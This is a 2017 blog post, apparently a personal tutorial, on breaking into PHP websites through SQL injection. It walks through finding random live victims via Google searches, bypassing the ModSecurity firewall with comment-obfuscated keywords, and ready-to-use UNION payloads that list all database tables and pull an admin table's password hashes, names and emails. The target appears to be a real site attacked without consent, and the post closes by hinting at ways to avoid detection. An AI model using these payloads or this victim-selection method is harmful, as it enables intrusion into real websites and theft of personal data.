Tuesday, April 4, 2017

Hacking PHP Website using SQL Injection

Hi Guys,

Recently, I tried my hands on with performing SQL injection on PHP websites.

So lets talk about SQL Injection first.

SQL injection (SQLi) is an application security weakness that allows attackers to control an application’s database – letting them access or delete data, change an application’s data-driven behavior, and do other undesirable things – by tricking the application into sending unexpected SQL commands.
SQL injection weaknesses occur when an application uses untrusted data, such as data entered into web form fields, as part of a database query. When an application fails to properly sanitize this untrusted data before adding it to a SQL query, an attacker can include their own SQL commands which the database will execute. Such SQLi vulnerabilities are easy to prevent, yet SQLi remains a leading web application risk, and many organizations remain vulnerable to potentially damaging data breaches resulting from SQL injection.

If you are not aware of SQL please practice SQL here, and if you are not aware of basic SQL Injection practice here

But, what many websites fail to mention is the possibility of Web Application Firewall(WAF). So, WAF is the first level of filtering which defines the conversion rules for HTML content and HTTP/HTTPS requests. If a HTML content or Network Request contains any script tags or sql queries or unwanted keywords, the same gets rejected at the very first level by the WAF. for more knowledge please refer https://www.owasp.org/index.php/Web_Application_Firewall

In our case because we will be playing with the GET request of a web page a lot by passing a WAF is extremely important.

Step 1: how to choose a victim?
  • go to www.google.com and type .php?id=1
    The reason to perform this operation is to find out victims
  • Now, out so thousands how do you choose choose a victim, simply by checking is an SQL exception is not handled by the user at the top end and to do that simply at ' at the end of the request. For example:
    1. link1
    2. link2
  • I have done my homework on link2 so i'll pick up this as my victim, because the error here is bloody clear which is great for troubleshooting..!! :D
  • So the most important concepts which we are exploiting here is the independence to use stacked commands which is allowed in MySQL, and because the server runs on MySQL this will be our ideal target
  • Lets try to modify the link to such that it looks like this <DOMAIN>/research.php?id%3D-1%20and%20select%20*%20from%20admin and observer that there is an exception given to us but it's not from MySQL it's from Mod Security(https://modsecurity.org/) which is an open source WAF
  • Now how do we by pass it, i found that Mod Security was not only able to identify SQL strings such as union, select, from etc. but it was also able to identify the same if they were hexed. So what do i do now? I found that you can use PHP comment tags in between to confuse Mod Security into believing that the string coming to it is safe to execute. BOOM..!!
  • Now Try this, So to list all tables in our DB here we can <DOMAIN>/....php?id=.1+/*!50000union*/+select+concat/**/(0x3c62723e496e6a6563746564204279204a41434b3c62723e56657273696f6e203a3a20,version(),0x3c62723e4461746162617365203a3a20,database(),0x3c62723e55736572203a3a20,user(),(SELECT concat/**/(@x:=0x00,if((SELECT count(*) from /*!00000information_schema.columns*/ where table_schema=database() and @x:=concat/**/(@x,0x3c62723e,database(),0x203a3a20,table_name,0x203a3a20,column_name)),0x00,0x00),@x))),22222,33333,444444--+-
    It will be great to first understand what this command is doing and the use of union is the best way to execute custom query keeping in mind the number of columns in the preceding query. Awesome now you can see all it's tables (check out the below screenshot)
  • Now that you have the information about all the DB let's start digging data from this DB. So, I tried to read from the Admin Table where I can see the Username, password, email_address and First Name, Last Names, and how do you do that just tweak the above query to match your requirements like in my case it is
    <DOMAIN>/.....php?id=.1+/*!50000union*/+%28/*!50000select*/%20password%20,admin_fname,admin_lname,%20email_address%20/*!50000from*/%20admin%29 and look what I got
  • This is the encrypted password stored into the database ,... WOW..!! :D Well I know MySQL passwords are not passwords but hashes and are hard to Decrypt, but if you get to know a technique do let me know :)
  • Now People usually end up INSERTing into the DB which can be bad because they would end up leaving a rather more noticeable trace, I'm sure you'll find a work around to that :D
Please comment and share if you found this helpful :)

Cheers..!!